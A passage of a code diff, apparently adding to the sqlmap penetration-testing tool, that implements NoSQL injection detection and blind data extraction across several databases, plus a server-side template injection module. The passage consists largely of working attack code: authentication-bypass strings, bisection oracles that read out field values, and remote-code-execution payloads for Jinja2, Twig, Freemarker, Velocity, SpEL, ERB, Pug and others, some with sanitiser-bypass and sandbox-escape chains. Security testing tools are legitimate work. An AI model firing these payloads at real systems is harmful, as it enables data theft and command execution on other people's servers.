+    bisected over the printable-ASCII range. Returns the value or None"""
+
+    quote = lambda value: value.replace("'", "''")              # PartiQL escapes a single quote by doubling it
+    fetch = lambda payload: _fetchValue(place, parameter, payload)
+    template = fetch("%s' OR %s%s >= '" % (NOSQL_SENTINEL, bind, field))     # field >= '' -> bound record matches
+    if not template or _isError(template):
+        return None
+
+    truth = lambda value: _ratio(fetch("%s' OR %s%s >= '%s" % (NOSQL_SENTINEL, bind, field, quote(value))), template) > UPPER_RATIO_BOUND
+
+    retVal = ""
+    while len(retVal) < NOSQL_MAX_LENGTH:
+        if not truth(retVal + chr(NOSQL_CHAR_MIN)):             # no character at this position -> end of value
+            break
+        lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX
+        while lo < hi:
+            mid = (lo + hi + 1) // 2
+            if truth(retVal + chr(mid)):
+                lo = mid
+            else:
+                hi = mid - 1
+        retVal += chr(lo)
+
+    return retVal or None
+
+def _partiqlDump(place, parameter, key):
+    """DynamoDB PartiQL: comparison-extract the injected field, bound to its record by sibling
+    parameters (PartiQL exposes no key-enumeration, so the dumpable field is the injected one)"""
+
+    bind = _constraint(place, parameter, "=", " AND ", prefix="")
+    if not bind:                                                # need a sibling to pin a single record
+        return None
+    value = _partiqlValue(place, parameter, bind, key)
+    return ([key], [[value]]) if value is not None else None
+
+def _extract(template, fetchFn, lengthValue, charValue, truthFn=None):
+    """Blind value recovery: binary-searches the length, then bisects each character's codepoint over
+    the printable-ASCII range using regexp character-class ranges (sqlmap-style inference, ~log2(range)
+    requests per character instead of a linear scan - far smaller WAF/log footprint). lengthValue(n)
+    and charValue(known, charClass) render the dialect payload; the oracle is the content ratio against
+    `template` by default, or `truthFn(payload)` (e.g. the $where timing predicate)"""
+
+    truth = truthFn or (lambda value: _ratio(fetchFn(value), template) > UPPER_RATIO_BOUND)
+
+    length, probe = 0, 1
+    while probe <= NOSQL_MAX_LENGTH and truth(lengthValue(probe)):
+        length, probe = probe, probe * 2
+
+    low, high = length, min(probe, NOSQL_MAX_LENGTH + 1)
+    while low + 1 < high:
+        mid = (low + high) // 2
+        if truth(lengthValue(mid)):
+            low = mid
+        else:
+            high = mid
+
+    if not low:
+        return None
+
+    debugMsg = "retrieving the value (%d characters)" % low
+    logger.debug(debugMsg)
+
+    retVal = ""
+    for _ in xrange(low):
+        lo, hi = NOSQL_CHAR_MIN, NOSQL_CHAR_MAX
+        if not truth(charValue(retVal, _klass(lo, hi))):
+            retVal += '?'                                       # character outside the printable-ASCII range
+            continue
+        while lo < hi:
+            mid = (lo + hi) // 2
+            if truth(charValue(retVal, _klass(lo, mid))):
+                hi = mid
+            else:
+                lo = mid + 1
+        retVal += chr(lo)
+
+    return retVal
+
+def _resolve(place, parameter, key):
+    """Tries each NoSQL dialect in turn; the first that detects fixes the back-end and the extraction
+    payloads. Returns a Vector (whose `template`/`lengthValue` are None for detection-only back-ends)
+    or None when nothing matches"""
+
+    field = "u.%s" % key
+
+    template = _detectMongo(place, parameter)
+    if template:
+        return Vector(_fingerprintMongo(place, parameter),
+                      lambda value: _fetch(place, parameter, "$regex", value),
+                      lambda n: "^.{%d,}$" % n,
+                      lambda known, klass: "^%s%s" % (re.escape(known), klass),
+                      template=template, bypass='{"$ne": null}')
+
+    template = _detectES(place, parameter)
+    if template:
+        return Vector(_fingerprintLucene(place, parameter),
+                      lambda value: _fetchValue(place, parameter, value),
+                      lambda n: "/.{%d,}/" % n,
+                      lambda known, klass: "/%s%s.*/" % (_lucene(known), klass),
+                      template=template, bypass='*')
+
+    template = _detectCypher(place, parameter)
+    if template:
+        constraint = _constraint(place, parameter)
+
+        # Neo4j Cypher, Couchbase N1QL and DynamoDB PartiQL all share the ' OR '1'='1 break-out; tell
+        # them apart by the regexp/string primitive the back-end honors ('=~', 'REGEXP_CONTAINS', or
+        # PartiQL 'begins_with')
+        if not _confirm(place, parameter, "%s' OR %s%s =~ '.*" % (NOSQL_SENTINEL, constraint, field), "%s' OR %s%s =~ '%s" % (NOSQL_SENTINEL, constraint, field, NOSQL_SENTINEL)):
+            if _confirm(place, parameter, "%s' OR REGEXP_CONTAINS(%s, '.*') OR '1'='2" % (NOSQL_SENTINEL, field), "%s' OR REGEXP_CONTAINS(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, field, NOSQL_SENTINEL)):
+                return Vector("Couchbase",
+                              lambda value: _fetchValue(place, parameter, value),
+                              lambda n: "%s' OR REGEXP_CONTAINS(%s, '^.{%d,}') OR '1'='2" % (NOSQL_SENTINEL, field, n),
+                              lambda known, klass: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, field, _quoted(_javaEscape(known) + klass)),
+                              template=template, bypass="' OR '1'='1",
+                              dump=lambda: _enumDump(place, parameter,
+                                                     lambda expr, rb: "%s' OR REGEXP_CONTAINS(%s, '^%s') OR '1'='2" % (NOSQL_SENTINEL, expr, rb),
+                                                     lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % _propLiteral(n)))
+
+            if _confirm(place, parameter, "%s' OR begins_with(%s, '') OR '1'='2" % (NOSQL_SENTINEL, key), "%s' OR begins_with(%s, '%s') OR '1'='2" % (NOSQL_SENTINEL, key, NOSQL_SENTINEL)):
+                return Vector("DynamoDB", None, None, None, template=template, bypass="' OR '1'='1",
+                              dump=lambda: _partiqlDump(place, parameter, key))
+
+        return Vector("Neo4j", None, None, None, template=template, bypass="' OR '1'='1",
+                      dump=lambda: _cypherDump(place, parameter) or _enumDump(place, parameter,
+                                             lambda expr, rb: "%s' OR %s%s =~ '^%s.*" % (NOSQL_SENTINEL, constraint, expr, rb),
+                                             lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n)))
+
+    template = _detectAQL(place, parameter)
+    if template:
+        constraint = _constraint(place, parameter, "==", " && ")
+
+        # ArangoDB AQL and MongoDB $where (server-side JavaScript) both satisfy the ' || '1'=='1
+        # break-out; tell them apart by which regexp-match primitive holds - AQL '=~' or a JS /re/.test()
+        if not _confirm(place, parameter, "%s' || ('x' =~ '.') || '1'=='2" % NOSQL_SENTINEL, "%s' || ('x' =~ 'y') || '1'=='2" % NOSQL_SENTINEL) \
+           and _confirm(place, parameter, "%s' || /./.test('x') || '1'=='2" % NOSQL_SENTINEL, "%s' || /y/.test('x') || '1'=='2" % NOSQL_SENTINEL):
+            bound = _constraint(place, parameter, "==", "&&", prefix="this.")
+            whereTemplate = _fetchValue(place, parameter, "%s' || (%sthis.%s) || '1'=='2" % (NOSQL_SENTINEL, bound, key))
+            return Vector("MongoDB ($where)",
+                          lambda value: _fetchValue(place, parameter, value),
+                          lambda n: "%s' || (%sthis.%s&&this.%s.length>=%d) || '1'=='2" % (NOSQL_SENTINEL, bound, key, key, n),
+                          lambda known, klass: "%s' || (%sthis.%s&&/^%s%s/.test(this.%s)) || '1'=='2" % (NOSQL_SENTINEL, bound, key, _javaEscape(known), klass, key),
+                          template=whereTemplate, bypass="' || '1'=='1")
+
+        return Vector("ArangoDB",
+                      lambda value: _fetchValue(place, parameter, value),
+                      lambda n: "%s' || (%s%s =~ '^.{%d,}') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, n),
+                      lambda known, klass: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, field, _quoted(_javaEscape(known) + klass)),
+                      template=template, bypass="' || '1'=='1",
+                      dump=lambda: _enumDump(place, parameter,
+                                             lambda expr, rb: "%s' || (%s%s =~ '^%s') || '1'=='2" % (NOSQL_SENTINEL, constraint, expr, rb),
+                                             lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % _propLiteral(n)))
+
+    numeric = _detectNumeric(place, parameter)
+    if numeric:
+        dbms, template, bypass = numeric
+        dump = None
+        if dbms == "Neo4j":                                     # bind the dump to the injected numeric field (e.g. u.id = 1)
+            value = (_originalValue(place, parameter) or "1").strip()
+            dump = lambda: _enumDump(place, parameter,
+                                     lambda expr, rb: "%s AND (%s =~ '^%s.*')" % (value, expr, rb),
+                                     lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))
+        return Vector(dbms, None, None, None, template=template, bypass=bypass, dump=dump)
+
+    threshold = _detectWhere(place, parameter)
+    if threshold is not None:
+        bound = _constraint(place, parameter, "==", "&&", prefix="d.")
+        return Vector("MongoDB ($where)", None, None, None,
+                      dump=lambda: _whereDump(place, parameter, bound, threshold))
+
+    engine = _detectError(place, parameter)
+    if engine:
+        return Vector(engine, None, None, None)
+
+    return None
+
+def _inband(place, parameter, template):
+    """In-band data exposure gate: returns the always-true response when it carries materially more
+    (reflected) content than the original request - i.e. the injection is returning extra records
+    directly - else None"""
+
+    original = _fetchValue(place, parameter, _originalValue(place, parameter) or "1")
+    if template and len(template) > len(original) and _ratio(template, original) < UPPER_RATIO_BOUND and not re.search(NOSQL_ERROR_REGEX, template):
+        return template
+    return None
+
+def _clean(cell):
+    cell = re.sub(r"(?s)<[^>]+>", "", cell)
+    for entity, char in (("&amp;", '&'), ("&lt;", '<'), ("&gt;", '>'), ("&quot;", '"'), ("&#39;", "'"), ("&apos;", "'")):
+        cell = cell.replace(entity, char)
+    return re.sub(r"\s+", " ", cell).strip()
+
+def _records(page):
+    """Parses structured records out of a reflected response - a JSON array of objects or an HTML
+    table - returning (columns, rows) for a tabular dump, else None"""
+
+    try:
+        data = json.loads(page, object_pairs_hook=OrderedDict)
+        rows = data if isinstance(data, list) else next((_ for _ in data.values() if isinstance(_, list)), None) if isinstance(data, dict) else None
+        rows = [_ for _ in (rows or []) if isinstance(_, dict)]
+        if rows:
+            columns = []
+            for row in rows:
+                columns.extend(_ for _ in row if _ not in columns)
+            return columns, [[("NULL" if row[_] is None else _clean("%s" % row[_])) if _ in row else "" for _ in columns] for row in rows]
+    except (ValueError, TypeError):
+        pass
+
+    for body in re.findall(r"(?is)<table[^>]*>(.*?)</table>", page or ""):
+        header, rows = None, []
+        for index, tr in enumerate(re.findall(r"(?is)<tr[^>]*>(.*?)</tr>", body)):
+            cells = re.findall(r"(?is)<t[dh][^>]*>(.*?)</t[dh]>", tr)
+            if index == 0 and re.search(r"(?i)<th[\s>]", tr):
+                header = [_clean(_) for _ in cells]
+            elif cells:
+                rows.append([_clean(_) for _ in cells])
+        if rows:
+            width = max(len(_) for _ in rows)
+            columns = header if header and len(header) == width else ["column_%d" % (_ + 1) for _ in xrange(width)]
+            return columns, [row + [""] * (width - len(row)) for row in rows]
+
+    return None
+
+def _grid(columns, rows):
+    """Renders (columns, rows) as a sqlmap-style ASCII table"""
+
+    widths = [max([len(columns[index])] + [len(row[index]) for row in rows if index < len(row)]) for index in xrange(len(columns))]
+    separator = '+' + '+'.join('-' * (width + 2) for width in widths) + '+'
+    line = lambda cells: "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
+    return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
+
+def _dumpInband(place, key, page):
+    """Renders in-band records as a regular sqlmap-style table, or falls back to cleaned text"""
+
+    parsed = _records(page)
+    if parsed:
+        columns, rows = parsed
+        conf.dumper.singleString("NoSQL: %s parameter '%s' in-band records [%d]:\n%s" % (place, key, len(rows), _grid(columns, rows)))
+    else:
+        text = re.sub(r"\s+", " ", re.sub(r"(?s)<[^>]+>", " ", page)).strip()
+        conf.dumper.singleString("NoSQL: %s parameter '%s' in-band data: %s" % (place, key, text[:NOSQL_DUMP_LIMIT]))
+
+def nosqlScan():
+    """Entry point for '--nosql': detects NoSQL injection (MongoDB/CouchDB operator, Lucene
+    query_string, Cypher/N1QL/AQL string break-out, MongoDB $where time-based, or error-based). On a
+    confirmed point it tries, in order, to (1) dump records exposed in-band by the always-true payload
+    and (2) blindly recover the targeted field via the regexp/timing oracle"""
+
+    global NOSQL_SENTINEL
+    NOSQL_SENTINEL = randomStr(length=10, lowercase=True)
+
+    # NoSQL injection from an application-scoped point is confined to the back-end's single query
+    # (one collection/label) - it confirms and dumps what that query can reach, with no analog to the
+    # SQL database/table/user/banner enumeration, so those switches do not apply here
+    debugMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable "
+    debugMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, "
+    debugMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored"
+    logger.debug(debugMsg)
+
+    tested = found = 0
+
+    for place in (_ for _ in NOSQL_PLACES if _ in conf.paramDict):
+        # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2
+        if place == PLACE.COOKIE and conf.level < 2:
+            continue
+        for parameter in list(conf.paramDict[place].keys()):
+            key = _jsonKey(parameter)
+
+            if conf.testParameter and not any(_ in conf.testParameter for _ in (key, parameter)):
+                continue
+
+            tested += 1
+            infoMsg = "testing NoSQL injection on %s parameter '%s'" % (place, key)
+            logger.info(infoMsg)
+
+            vector = _resolve(place, parameter, key)
+            if not vector:
+                continue
+
+            found += 1
+            infoMsg = "%s parameter '%s' is vulnerable to NoSQL injection (back-end: '%s')" % (place, key, vector.dbms)
+            logger.info(infoMsg)
+            if conf.beep:
+                beep()
+
+            # standard sqlmap-style injection-point summary (reproducible vector)
+            if vector.bypass == '{"$ne": null}':
+                title, payload = "operator injection", "%s[$ne]=%s" % (key, NOSQL_SENTINEL)
+            elif vector.bypass == '*':
+                title, payload = "Lucene query_string injection", "%s=*" % key
+            elif vector.bypass:
+                context = "numeric" if vector.bypass[:1].isdigit() else "string"
+                title, payload = "boolean-based blind (%s)" % context, "%s=%s" % (key, vector.bypass)
+            elif vector.dump is not None:
+                title, payload = "time-based blind (server-side JavaScript $where)", "%s=' || (sleep loop) || '" % key
+            else:
+                title, payload = "error-based", "%s=%s'" % (key, _originalValue(place, parameter) or "1")
+            report = "---\nParameter: %s (%s)\n    Type: NoSQL injection\n    Title: %s %s\n    Payload: %s\n---" % (key, place, vector.dbms, title, payload)
+            conf.dumper.singleString(report)
+
+            if vector.bypass:
+                infoMsg = "%s parameter '%s' can be coerced always-true with '%s' (e.g. authentication/filter bypass)" % (place, key, vector.bypass)
+                logger.info(infoMsg)
+
+            dumped = False
+
+            # a named whole-document dump is preferred over the unnamed in-band table
+            if vector.dump is not None:
+                infoMsg = "retrieving the reachable document(s)"
+                logger.info(infoMsg)
+                records = vector.dump()
+                if records:
+                    columns, rows = records
+                    infoMsg = "dumped %d record%s (%d field%s)" % (len(rows), 's' if len(rows) != 1 else '', len(columns), 's' if len(columns) != 1 else '')
+                    logger.info(infoMsg)
+                    conf.dumper.singleString("NoSQL: %s parameter '%s' %s:\n%s" % (place, key, "documents" if len(rows) != 1 else "document", _grid(columns, rows)))
+                    dumped = True
+
+            if not dumped and vector.template is not None:
+                exposure = _inband(place, parameter, vector.template)
+                if exposure:
+                    infoMsg = "the always-true payload returns additional records (in-band data exposure)"
+                    logger.info(infoMsg)
+                    _dumpInband(place, key, exposure)
+                    dumped = True
+
+            if vector.lengthValue is not None:
+                value = _extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth)
+                if value is not None:
+                    conf.dumper.singleString("NoSQL: %s parameter '%s' -> %s" % (place, key, repr(value)))
+                    dumped = True
+
+            if not dumped:
+                if vector.template is None and vector.truth is None and vector.dump is None:
+                    warnMsg = "injection is detection-only for back-end '%s' (no extraction oracle for this engine)" % vector.dbms
+                else:
+                    warnMsg = "injection on '%s' is confirmed but yielded no data here: this point exposes only a boolean oracle on a non-extractable (e.g. numeric) field. Target a string-compared parameter (e.g. a login/search field) to blindly read a value" % key
+                logger.warning(warnMsg)
+
+    if not found:
+        warnMsg = "no parameter appears to be injectable via NoSQL injection (%d tested)" % tested
+        logger.warning(warnMsg)
+
+    logger.info("NoSQL scan complete")

lib/techniques/ssti/__init__.py

@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass

lib/techniques/ssti/inject.py

@@ -0,0 +1,760 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import difflib
+import re
+import time
+
+from collections import namedtuple
+
+from lib.core.common import beep
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.settings import SSTI_ERROR_SIGNATURES
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.request.connect import Connect as Request
+
+
+SENTINEL = randomStr(length=10, lowercase=True)
+
+SSTI_PLACES = (PLACE.GET, PLACE.POST, PLACE.COOKIE, PLACE.CUSTOM_POST)
+
+# Each Engine entry defines detection payloads and expected behaviour for one
+# template engine.  Arithmetic fields use %d placeholders filled with randomInt()
+# at probe time so a static "49" on the page cannot produce a false positive.
+# Engines are listed in detection-priority order.
+Engine = namedtuple("Engine", (
+    "name",             # human-readable engine name
+    "family",           # language family (python, php, java, ruby, nodejs)
+    "delimiter",        # expression delimiter opening (e.g. "{{")
+    "delimiterClose",   # expression delimiter closing (e.g. "}}")
+    "errorRegex",       # combined engine-specific error regex (None for "no specific signature")
+    "errorProbes",      # tuple of malformed payload suffixes that trigger engine errors
+    "arithmeticFmt",    # arithmetic proof with two %d placeholders (e.g. "{{ %d*%d }}"), or ""
+    "arithmeticUnescapedFmt",  # same with escape bypass (e.g. "{{ (%d*%d)|safe }}"), or ""
+    "booleanTrue",      # boolean true payload
+    "booleanFalse",     # boolean false payload
+    "trueRendered",     # what true renders as (for response matching)
+    "falseRendered",    # what false renders as
+    "distinguishingProbe",  # cross-engine disambiguation probe (None if n/a)
+    "distinguishingResult", # expected substring from disambiguation probe
+    "expressionFmt",        # format string for wrapping expressions (e.g. "{{ %s }}"), or ""
+    "rcePayloads",          # tuple of (payload_template, description) with {CMD} for command, or ()
+))
+
+
+def _arithmeticPayload(fmt, a, b):
+    # Substitute the two operands into the first two %d tokens by literal replacement rather than
+    # %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where
+    # fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them.
+    return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1)
+
+
+def _degroup(text):
+    # Strip digit-group (thousands) separators so an arithmetic result still matches when the
+    # engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678").
+    # Only separators sitting between digits are removed, so ordinary text is untouched.
+    return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text))
+
+
+_ENGINE_TABLE = (
+    # -- Python -------------------------------------------------------------------------------------------
+    Engine("Jinja2", "python",
+           "{{", "}}",
+           r"(?i)(?:jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError)",
+           ("{{", "{{ }}", "{{ unknown|filter }}"),
+           "{{ %d*%d }}", "{{ (%d*%d)|safe }}",
+           "{{ True }}", "{{ False }}", "True", "False",
+           None, None,  # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"")
+           "{{ %s }}",
+           # Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain).
+           # The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing
+           # sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique).
+           (("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"),
+            ("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"),
+            ("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"),
+            ("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))),
+    Engine("Mako", "python",
+           "${", "}",
+           r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)",
+           ("${", "${}", "<%", "<%!"),
+           "${%d*%d}", "",
+           "${True}", "${False}", "True", "False",
+           None, None,  # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false)
+           "${%s}",
+           # Mako: popen captures output; self.module.runtime path needs no <%import%> preamble
+           (("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"),
+            ("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))),
+    # -- PHP ----------------------------------------------------------------------------------------------
+    Engine("Twig", "php",
+           "{{", "}}",
+           r"(?i)(?:Twig[\\_]Error|Twig[\\_]Environment|syntax error, unexpected|Unknown (?:filter|function|test|tag))",
+           ("{{", "{{ }}", "{{ unknown|filter }}"),
+           "{{ %d*%d }}", "{{ (%d*%d)|raw }}",
+           "{{ true }}", "{{ false }}", "1", "",
+           # '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3);
+           # 'emplate' is the substring common to both, so the probe is version-stable
+           "{{ _self }}", "emplate",
+           "{{ %s }}",
+           # Twig: filter() chain first; then sort()/map() callbacks, which double as classic
+           # sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale)
+           (("{{ ['{CMD}']|filter('system') }}", "filter('system')"),
+            ("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"),
+            ("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"),
+            ("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"),
+            ("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))),
+    # -- Java ---------------------------------------------------------------------------------------------
+    Engine("Freemarker", "java",
+           "${", "}",
+           r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)",
+           ("${", "${}", "<#if ", "<#--"),
+           "${%d*%d}", "${(%d*%d)?no_esc}",
+           # modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the
+           # computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker
+           "${true?c}", "${false?c}", "true", "false",
+           # Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there),
+           # giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family
+           '${"sstimark"?upper_case}', "SSTIMARK",
+           "${%s}",
+           # Freemarker: classic -> indirect-assign fallback
+           (("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"),
+            ("<#assign ex='freemarker.template.utility.Execute'?new()>${ex('{CMD}')}", "assign+new"))),
+    Engine("Velocity", "java",
+           "$", "",
+           r"(?i)(?:org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException)",
+           ("$", "#if(", "#set($x=)"),
+           "", "",
+           "#if(true) TRUE #end", "#if(false) TRUE #else FALSE #end", "TRUE", "FALSE",
+           "#* velocity *#", "",
+           "",  # no generic expression wrapper
+           # Velocity (pre-2.3; patched by CVE-2020-13936). Primary: portable String.class.forName()
+           # reflection chain - needs NO velocity-tools $class in the context - reading the process
+           # stdout byte-by-byte so the command output is rendered in-band. Fallback: the velocity-tools
+           # ClassTool ($class) form, for apps that expose it.
+           (("#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))"
+             "#set($chr=$x.class.forName('java.lang.Character'))"
+             "#set($str=$x.class.forName('java.lang.String'))"
+             "#set($ex=$rt.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
+             "#set($out=$ex.getInputStream())"
+             "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "String.class.forName chain"),
+            ("#set($str=$class.inspect('java.lang.String').type)"
+             "#set($chr=$class.inspect('java.lang.Character').type)"
+             "#set($ex=$class.inspect('java.lang.Runtime').type.getRuntime().exec('{CMD}'))#set($w=$ex.waitFor())"
+             "#set($out=$ex.getInputStream())"
+             "#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end", "ClassTool chain"))),
+    Engine("Spring EL / Thymeleaf", "java",
+           "${", "}",
+           r"(?i)(?:org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException|ValidationFailedException)",
+           ("${", "${}", "#{", "*{"),
+           "${%d*%d}", "",
+           "${true}", "${false}", "true", "false",
+           # SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors
+           # there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }'
+           "${'sstimark'.toUpperCase()}", "SSTIMARK",
+           "${%s}",
+           # SpEL: read the process stdout (so output is captured, not just a Process object);
+           # then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL
+           (("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"),
+            ("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"),
+            ("${(#[email protected]@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))),
+    # -- Ruby ---------------------------------------------------------------------------------------------
+    Engine("ERB", "ruby",
+           "<%=", "%>",
+           r"(?i)(?:erb|SyntaxError|undefined local variable|no implicit conversion|wrong number of arguments|\(erb\):\d+)",
+           ("<%=", "<%", "<%#", "<%= foo.unknown_method %>"),
+           "<%= %d*%d %>", "<%= raw %d*%d %>",
+           "<%= true %>", "<%= false %>", "true", "false",
+           "<%= defined? Rails %>", "",
+           "<%= %s %>",
+           # ERB: backtick captures output; system() returns only exit status
+           (("<%= `{CMD}` %>", "backtick"),)),
+    # -- Node.js ------------------------------------------------------------------------------------------
+    Engine("Pug/Jade", "nodejs",
+           "#{", "}",
+           r"(?i)(?:pug|jade|Cannot read propert|is not a function|TypeError|ReferenceError)",
+           ("#{", "!{", "#{ }"),
+           "#{%d*%d}", "!{%d*%d}",
+           "#{true}", "#{false}", "true", "false",
+           None, None,
+           "#{%s}",
+           (("#{global.process.mainModule.require('child_process').execSync('{CMD}')}", "execSync"),)),
+    Engine("Handlebars", "nodejs",
+           "{{", "}}",
+           r"(?i)(?:handlebars|Handlebars|Parse error on line|\{\{[\w.]+\}\})",
+           ("{{", "{{#if}}", "{{/each}}"),
+           "", "",
+           "{{#if true}}yes{{/if}}", "{{#if false}}yes{{/if}}", "yes", "",
+           None, None,
+           "",  # no generic expression wrapper without registered helpers
+           ()),  # RCE requires pre-registered helpers; not generically exploitable
+)
+
+
+def _ratio(first, second):
+    return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
+
+
+def _delim(place):
+    return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
+
+
+def _confParameters(place):
+    try:
+        return conf.parameters.get(place, "")
+    except AttributeError:
+        return conf.parameters[place] if place in conf.parameters else ""
+
+
+def _originalValue(place, parameter):
+    for segment in _confParameters(place).split(_delim(place)):
+        name, _, value = segment.partition('=')
+        if name.strip() == parameter:
+            return value
+    return conf.paramDict.get(place, {}).get(parameter) or ""
+
+
+def _replaceSegment(place, parameter, value):
+    delimiter = _delim(place)
+    raw = _confParameters(place)
+    retVal, replaced = [], False
+
+    for part in raw.split(delimiter):
+        name, _, _ = part.partition('=')
+        if not replaced and name.strip() == parameter:
+            retVal.append("%s=%s" % (name, value))
+            replaced = True
+        else:
+            retVal.append(part)
+
+    if not replaced:
+        retVal = []
+        for name, oldValue in conf.paramDict.get(place, {}).items():
+            retVal.append("%s=%s" % (name, value if name == parameter else oldValue))
+
+    return delimiter.join(retVal)
+
+
+def _send(place, parameter, value):
+    """Issue a single HTTP request with the target parameter set to `value`.
+    Temporarily mutates conf.parameters so sqlmap's normal request machinery
+    (URL construction, cookies, headers, encodings) is fully preserved."""
+
+    if conf.delay:
+        time.sleep(conf.delay)
+
+    old_params = conf.parameters.get(place, "")
+    conf.parameters[place] = _replaceSegment(place, parameter, value)
+
+    try:
+        kwargs = {"raise404": False, "silent": True}
+        if conf.verbose >= 3:
+            logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
+        page, _, _ = Request.getPage(**kwargs)
+        return page or ""
+    except Exception as ex:
+        logger.debug("SSTI probe request failed: %s" % getUnicode(ex))
+        return ""
+    finally:
+        conf.parameters[place] = old_params
+
+
+def _isError(page, engine):
+    if not engine.errorRegex:
+        return False
+    return bool(re.search(engine.errorRegex, getUnicode(page or "")))
+
+
+def _backendFromError(page):
+    page = getUnicode(page or "")
+    for name, regex in SSTI_ERROR_SIGNATURES:
+        if re.search(regex, page):
+            return name
+    return None
+
+
+def _boolean(truthy, falsy):
+    """Return the reproducible true page when true/false probes diverge.
+    Both true AND false pages must be independently reproducible."""
+
+    truePage = truthy()
+    if truePage is None:
+        return None
+
+    truePage2 = truthy()
+    if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND:
+        return None
+
+    falsePage = falsy()
+    if falsePage is None:
+        return None
+
+    falsePage2 = falsy()
+    if _ratio(falsePage, falsePage2) < UPPER_RATIO_BOUND:
+        return None
+
+    if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
+        return truePage
+
+    return None
+
+
+def _probeArithmetic(place, parameter, engine):
+    """Inject a random arithmetic expression and its control pair (different
+    operands, different result).  Both results must appear for their respective
+    payloads and NOT bleed across, proving the template is executing the expression
+    rather than a static '49' appearing on the page by coincidence."""
+
+    if not engine.arithmeticFmt:
+        return False
+
+    original = _originalValue(place, parameter) or ""
+    a, b = randomInt(3), randomInt(3)
